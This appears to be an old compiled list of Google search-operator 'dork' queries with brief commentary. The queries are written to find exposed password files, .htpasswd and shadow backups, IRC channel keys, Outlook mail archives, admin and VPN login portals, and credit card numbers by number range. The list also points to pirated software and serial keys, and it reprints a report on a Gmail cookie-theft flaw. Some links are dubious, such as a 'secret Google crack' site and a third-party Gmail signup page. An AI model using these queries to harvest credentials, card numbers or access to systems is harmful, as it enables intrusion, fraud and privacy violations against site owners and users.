(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")
==============================================
WS_FTP.LOG can be used in many ways to find more information about a server. This query is very flexible, just substitute "+htpasswd" for "+FILENAME" and you may get several hits that you hadn't seen with the 'normal' search.
Filenames suggested by the forum to explore are: phpinfo, admin, MySQL, password, htdocs, root, Cisco, Oracle, IIS, resume, inc, sql, users, mdb, frontpage, CMS, backend, https, editor, intranet . The list goes on and on..
A different approach might be "allinurl: "some.host.com" WS_FTP.LOG filetype:log" which tells you more about who's uploading files to a specific site.
To see results; just write in the (http://www.google.com/) search engine the code:
+htpasswd +WS_FTP.LOG filetype:log
==============================================
The Web Data Administrator is a utility program implemented in ASP.NET that enables you to easily manage your SQL Server data wherever you are. Using its built-in features, you can do the following from Internet Explorer or your favorite Web browser.
Create and edit databases in Microsoft SQL Server 2000 or Microsoft SQL Server 2000 Desktop Engine (MSDE) Perform ad-hoc queries against databases and save them to your file system Export and import database schema and data.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Web Data Administrator - Login"
==============================================
The Aanval Intrusion Detection Console is an advanced intrusion detection monitor and alerting system. Currently supporting modules for Snort and syslog - Aanval provides real-time monitoring, reporting, alerting and stability. Aanval's web-browser interface provides real-time event viewing and system/sensor management.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"remote assessment" OpenAanval Console
==============================================
Google is so smart, it’s scary sometimes. I has found another interesting (to say the least) Google use.
I just ran across a pretty scary new google trick. It seems they have just recently added number span searching to their engine. Take a look at this example:
To see results; just write in the (http://www.google.com/) search engine the code:
visa 4356000000000000..4356999999999999
Basically, what this search does is search for the word “visa” [credit card] with any numbers that fit within your query. i.e. any Visa credit card number with the first four digits 4356.
As you can see, Google has searched the entire range against its DB. Within minutes I found some crazy sites like this one. Now please know that Google didn’t create this tool to be used like this. It’s actually quite handy when used correctly. Just an FYI for all of you.
==============================================
Tired of websearching ? Want something to read ? You can find Ebooks (thousands of them) with this search..LIT files can be opened with Microsoft Reader (http://www.microsoft.com/reader/).
To see results; just write in the (http://www.google.com/) search engine the code:
filetype:lit lit (books|ebooks)
==============================================
Using Google, and some finely crafted searches we can find a lot of interesting information.
For Example we can find: Credit Card Numbers / Passwords / Software / MP3's
...... (and on and on and on)Presented below is just a sample of interesting searches that we can send to google to obtain info that some people might not want us having.. After you get a taste using some of these, try your own crafted searches to find info that you would be interested in.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Index of" passwords modified
And
allinurl:auth_user_file.txt
And
"access denied for user" "using password"
And
"A syntax error has occurred" filetype:ihtml
And
allinurl: admin mdb
And
"ORA-00921: unexpected end of SQL command"
And
inurl:passlist.txt
And
"Index of /backup"
And
"Chatologica MetaSearch" "stack tracking:"
And
Amex Numbers: 300000000000000..399999999999999
And
MC Numbers: 5178000000000000..5178999999999999
And
visa 4356000000000000..4356999999999999
==============================================
Notice I am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.
To see results; just write in the (http://www.google.com/) search engine the code:
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
And
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Or
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
==============================================
You can change the string to watever you want, ex. microsoft to adobe, iso to zip etc…
To see results; just write in the (http://www.google.com/) search engine the code:
inurl:microsoft filetype:iso
==============================================
This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs.
To see results; just write in the (http://www.google.com/) search engine the code:
"sets mode: +k"
==============================================
These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users.
To see results; just write in the (http://www.google.com/) search engine the code:
eggdrop filetype:user user
==============================================
This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version).
Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences.
see results; just write in the (http://www.google.com/) search engine the code:
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
==============================================
Let's pretend you need a serial number for windows xp pro. The key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
To see results; just write in the (http://www.google.com/) search engine the code:
"Windows XP Professional" 94FBR
By the way, don't forget to change "Window sXP Professional" to any product you need its serial number.
==============================================
Notice this excellent trick. You can search for any product whether hardware or software (between any prices price: for example, $250.. $350 ).
To see results; just write in the (http://www.google.com/) search engine the code:
DVD player $250..350
By the way, don't forget to change "DVD player" to any product you need to search for.
==============================================
At first glance, this search reveals even more examples of operating system users enabling the operating system default web server software. This is generally accepted to be a Bad Idea(TM) as mentioned in the previous example. However, the googleDork index on this particular category gets quite a boost from the fact that this particular screen should NEVER be seen by the general public. To quote the default index screen: "Any users attempting to connect to this site are currently receiving an 'Under Construction page'" THIS is not the 'Under Construction page.' I was only able to generate this screen while sitting at the console of the server. The fact that this screen is revealed to the general public may indicate a misconfiguration of a much more insidious nature...
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Welcome to Windows 2000 Internet Services"
==============================================
Suppose you want a certain song to a singer and you can not find it; by this trick you can find the song in the original directory of the original web site.
To see results; just write in the (http://www.google.com/) search engine the code:
"index of/" "Top Gun" .mp3
By the way, don't forget to change "Top Gun" to any song you need to search for.
==============================================
This is a fabulous link. This is the secret link of the web site "Google" to search for any "Crack" you need.
Just write the following link in the address bar:
http://www.googlecrack.com/WWW/
==============================================
By the way, for anyone who needs to have an account in the google mail for "One GigaByte", go to the following address bar. You will receive within "36 hours" the confirmation mail for your registration:
http://www.googlemail.cjb.net/
Or from:
http://www.gmailforums.com/index.php
By the way, you can open your Google mail from your browser through this link:
http://toolbar.google.com/gmail-helper/
==============================================
Imagine that when you enter any web site, and you are surprised that when searching for any program in it you can not find it. By this fabulous trick, you can find the link for downloading any program in this site through any search engine.
For example, suppose you want to search for the program "Norton" in the web site www.download.com ; when you go to www.google.com and write the following code, you will be surprised that the "Google" search engine searches only in the site www.download.com. To do this:
Write in the address bar of the web browser this address: www.google.com.
When opening the web site; write in the search engine this code: "norton site: www.download.com", and press the button search or "ÃÈÍË".
As mentioned earlier: the code is easy, you just write in the place of the word "Norton"; any word you need to search for in the site followed in the code.
The code again is....
norton site:www.download.com
By the way, you can practice this code at any search engine.
Another trick is that you can force the search engine of the "Google" web site to search for a certain category like "Linux" topics. When you add any category after the Google link and write any thing in the search engine, you will surprised that the site searched for Linux only. For example, if you wrote the following code:
http://www.google.com/linux
As I mentioned in the code earlier, the site followed by the word "Linux". So the web site is forced for searching for the Linux topics only all over the internet.
==============================================
Imagine that you can connect to another computer remotely through the internet from the feature called "Remote Desktop Web Connection".
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:"Remote Desktop Web Connection"
==============================================
Through this query you can find every web page "Google" has crawled for a specific site.
To see results; just write in the (http://www.google.com/) search engine the code:
Site: Microsoft.com
==============================================
Through this query, you can see web servers with default pages can serve as juicy targets.
To see results; just write in the (http://www.google.com/) search engine the code:
Intitle:test.page.for.apache "it worked"
==============================================
No one can deny that the directory listings can be a source of great information.
To see results; just write in the (http://www.google.com/) search engine the code:
Intitle:index.of/admin
==============================================
We will use this query to locate additional servers, subtract common hostnames from the query.
To see results; just write in the (http://www.google.com/) search engine the code:
Site: Microsoft.com - Site:www.Microsoft.com
==============================================
From this query you can get huge user names and passwords from huge sites for free.
To see results; just write in the (http://www.google.com/) search engine the code:
"Welcome to *" "Your password is *"
==============================================
From this query you can collect many numbers of ".PST" files, which contain all E-mail folders, addresses or anything else that Outlook 97, 2000, xp or 2003 collects.
To see results; just write in the (http://www.google.com/) search engine the code:
outlook filetype:pst
==============================================
allinurl:gmail.google.com
"NetLife" Exclusive: Security hole found in "Gmail"
An Israeli hacker reveals: A security hole in "Gmail" allows the compromise of users' email boxes – without the need of a password Nitzan Weidenfeld, Nana NetLife Magazine.
So you’ve got a "Gmail" mail account? Or maybe you’ve just received an invitation? Well, we have some bad news for you: Your mail box is exposed. A major security hole in Google's mail service, allows full access to user accounts, without the need of a password.
"Everything could get publicly exposed – your received mails might be readable, as well as all of your sent mail, and furthermore – anyone could send and receive mail under your name", thus reveals Nir Goldshlagger, an Israeli hacker, on an exclusive interview with "Nana NetLife" Magazine. "Even more alarming", he explains, "is the fact that the hack itself is quite simple. All that is needed of the malicious hacker, beside knowledge of the specific technique, is quite basic computer knowledge, the victim's username – and that’s it, he's inside".
When approached, Google admitted to the security flaw. Google also assured us that this matter is being resolved, and that "the company will go to any length to protect its users".
The flaw which was discovered by Goldshlagger and was tested many times by Nana's editorial board had shown an alarming success rate. In order not to further jeopardize mail boxes' owners, we will only disclose that the process is based upon a security breach in the service's identity authentication. It allows the hacker to "snatch" the victims cookie file (a file planted in the victim's computer used to identify him) using a seemingly innocent link (which directs to Gmail's site itself). Once stolen, this cookie file allows the hacker to identify himself as the victim, without the need of a password. Even if the victim does change his password afterwards, it will be to no avail. "The system authenticates the hacker as the victim, using the stolen cookie file. Thus no password is involved in the authentication process. The victim can change his password as many times as he pleases, and it still won't stop the hacker from using his box", explains Goldshlagger.
Whether hackers have already used this method to compromise users' accounts is unclear at the moment.
Matters are several times worse when it comes to a service such as "Gmail". Besides the obvious blow to Google's seemingly spotless image, we're looking here at a major threat to anyone who has turned to "Gmail" as his major email box. "Because "Gmail" offers a gigabyte of storage, several times bigger than most other web based mail services, users hardly delete any old correspondence", says Goldshlagger. "The result is a huge amount of mail accumulating in the users' boxes, which frequently include bank notices, passwords, private documents and other files the user wanted to backup. Who ever takes a hold of this data, could literally take over the victim's life and identity".
"Ofer Elzam", a security expert for "Aladdin", who examined the security hole at "Nana's Netlife" request, explains: "This is a major threat, for the following reasons: First – the users have no way of protecting themselves. Second – it's quite easy to carry out, and third – it allows identity theft, which is nothing less than a serious danger to the victim".
"On the bright side", he adds, "its a good thing that this hole was found now, before the service was officially announced and offered to millions of users world-wide. I reckon it's just a matter of time before an automatic tool is made, which would allow even the less computer-savvy people to exploit this hack. The damage, needless to say, could be huge"
Is there a way, after all, to protect ourselves in the face of this danger? Elzam does not bear good news on the matter. "The only immediate solution that comes to mind is not using "Gmail" to store any messages or files that might be maliciously used. At least until Google attends to this problem".
I received a weird email last week and I forwarded it to the bug report. Guess that was the cookie link I talked about. I put it here:
From: accounts-noreply@google.com
To: xxxx@xxxx
Date: Tue, 26 Oct 2004 08:22:16 -0700 (PDT)
Subject: Google Password Assistance
Reply | Reply to all | Forward | Print | Add sender to contacts list | Trash this message | Show original
To initiate the process for resetting the password for your
xxxxx@gmail.com Google Account, visit the link below
http://www.google.com/accounts/xxxx----removed----xxxx
Thank you for using Google.
For questions or concerns regarding your account, please send mail to
accounts-support@google.com.
This is a post-only mailing. Replies to this message are not monitored
or answered.
And this is the explanation to what mentioned earlier:
Last Monday reported that a vulnerability in "GSuite". A local user can obtain the target user's "GMail" password.
It is reported that a local user with access to the target user's 'documents and settings\user name\Application Data\GSuite\' folder can view the 'settings.xml' file, which contains the target user's password in ASCII value encoded form. The password can be readily decoded.
Impact: A local user can obtain a target user's GMail password.
Solution: No solution was available at the time of this entry. The vendor plans to include a fix in the next release.
==============================================
The Cisco VPN 3000 concentrator is a remote access VPN. This web-based logon portal is for remote management of the Concentrator; by submitting a correct UID and PASS you will '0wn' their concentrator. I. E. is able to delete, copy, and configure whatever your heart desires. You would be in control of all of their VPN's that concentrator has control of.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:Cisco Systems, Inc. VPN 3000 Concentrator
==============================================
This query searches for open root directories of servers running online shopping carts. This shopping cart has an online store 'manager'; in /online-store/StoreManager where you can edit everything from product lists, databases, taxes and passwords.
To see results; just write in the (http://www.google.com/) search engine the code:
intitle:Index.Of /" stats merchant onl